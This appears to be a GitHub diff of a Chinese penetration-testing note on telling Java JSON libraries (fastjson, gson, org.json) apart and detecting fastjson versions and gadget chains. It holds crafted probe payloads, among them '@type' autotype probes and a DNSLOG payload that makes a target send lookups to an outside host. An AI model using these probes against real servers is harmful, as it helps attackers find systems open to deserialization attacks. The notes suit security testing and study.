1
1
# json框架区分
2
2
给定正常对象 User
3
3
``` java
4
- public class User {
5
- String username;
4
+ public class User {
5
+ String username;
6
6
int password;
7
7
float id;
8
8
}
@@ -14,17 +14,17 @@ public class User {
14
14
15
15
## fstjson
16
16
1 . 浮点精度不丢失
17
- 其他 json 解析库在解析json时都会丢失,但fastjson不会,但是
17
+ 其他 json 解析库在解析json时都会丢失,但fastjson不会,但是
18
18
``` json
19
19
{"username" :" 1234" ,"password" :1.111111111111111111111111111111111 ,"id" :1.1111111111111111111111111111111111111 }
20
20
```
21
21
2 . 响应状态
22
- 如果是fastjson会对@type 做出响应
22
+ 如果是fastjson会对@type 做出响应
23
23
``` json
24
24
{"@type" :" whatever" }
25
25
```
26
26
3 . DNSLOG
27
- DNSLOG 这种方式可以无回显探测fastjson,是较为高效的一种方法,但不适用于不出网环境,具体探测方式在后文展开
27
+ DNSLOG 这种方式可以无回显探测fastjson,是较为高效的一种方法,但不适用于不出网环境,具体探测方式在后文展开
28
28
``` json
29
29
{"x" :{"@type" :" java.net.InetSocketAddress" {"address" :,"val" :" dnslog" }}}
30
30
```
@@ -45,12 +45,12 @@ DNSLOG 这种方式可以无回显探测fastjson,是较为高效的一种方
45
45
46
46
## gson
47
47
1 . 浮点无法转整数 报错
48
- 向 int 类型的值传浮点数无法解析会报错 NumberFormatException
48
+ 向 int 类型的值传浮点数无法解析会报错 NumberFormatException
49
49
``` json
50
50
{"username" :" 1234" ,"password" :1.111111111111111111111111111111111 ,"id" :1 }
51
51
```
52
52
2 . 特有解析
53
- org.json 与 gson 在遇到 # 时都会当注释符处理,可以用来识别这两个框架
53
+ org.json 与 gson 在遇到 # 时都会当注释符处理,可以用来识别这两个框架
54
54
``` json
55
55
#\n{"username":"1234","password":1,"id":1.1}
56
56
```
@@ -61,13 +61,13 @@ org.json 与 gson 在遇到 # 时都会当注释符处理,可以用来识别
61
61
62
62
## org.json
63
63
1 . 特有解析
64
- org.json 打印会调用 toString() 所以可以插入 ` \n \r ` 等字符改变输出,如结合前面的 ` # ` 再加上 ` \r `
64
+ org.json 打印会调用 toString() 所以可以插入 ` \n \r ` 等字符改变输出,如结合前面的 ` # ` 再加上 ` \r `
65
65
``` json
66
66
#{"username":"\r"}
67
67
```
68
68
69
69
70
- ## 实测案例
70
+ ## 举例实测案例
71
71
## fastjson
72
72
对于某正常登陆接口
73
73
![ ] ( attachments/Pasted%20image%2020221114152732.png )
@@ -108,7 +108,7 @@ org.json 打印会调用 toString() 所以可以插入 `\n \r`等字符改变输
108
108
```
109
109
110
110
# fastjson版本探测
111
- ## 精确版本号
111
+ ## 精确版本号1
112
112
有报错回显的情况下,返回精确版本号
113
113
``` json
114
114
{
@@ -117,9 +117,19 @@ org.json 打印会调用 toString() 所以可以插入 `\n \r`等字符改变输
117
117
118
118

119
119
120
+ ## 精确版本号2
121
+ 对于存在 FastJsonHttpMessageConverter 配置的解析,通常指定了key值或json结构,可通过添加`[]`等方式破坏既定结构,实例:
122
+ ```json
123
+ [
124
+ {
125
+ "@type" : " whatever"
126
+ }
127
+ ]
128
+ ```
129
+ 
120
130
## dnslog
121
131
在没有回显的情况下,如果可以出网就要考虑dnslog了
122
- 前文提到1.2.24版本不会解析 `java.net.URL`,而在之前的研究中,1.2.47、1.2.68、1.2.80是漏洞的三个里程碑版本,通过`java.lang.Class`、`java.lang.AutoCloseable`、`java.lang.Exception` 来构造dns可以准确识别
132
+ 前文提到1.2.24版本不会解析 `java.net.URL`,而在之前的研究中,1.2.47、1.2.68、1.2.80是漏洞的三个里程碑版本,通过`java.lang.Class`、`java.lang.AutoCloseable`、`java.lang.Exception` 来构造dns请求可以准确识别
123
133
124
134
125
135
payload向下兼容版本,
@@ -197,7 +207,7 @@ payload向下兼容版本,
197
207
198
208
# 利用链探测
199
209
## Character 报错回显
200
- 存在时会回显
210
+ 探测到存在的类时将 Class 强转为 Char 导致报错回显
201
211
```json
202
212
{
203
213
"x" : {
0 commit comments